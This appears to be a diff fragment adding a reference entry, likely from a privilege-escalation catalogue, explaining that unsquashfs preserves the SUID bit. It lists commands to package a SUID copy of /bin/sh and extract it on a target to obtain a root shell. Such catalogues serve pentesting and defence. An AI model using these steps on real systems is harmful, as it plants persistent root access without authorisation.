+description: |
+  `unsquashfs` preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root:
+
+  ```
+  cp /bin/sh .
+  chmod +s sh
+  mksquashfs sh shell
+  ```
+
+  Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
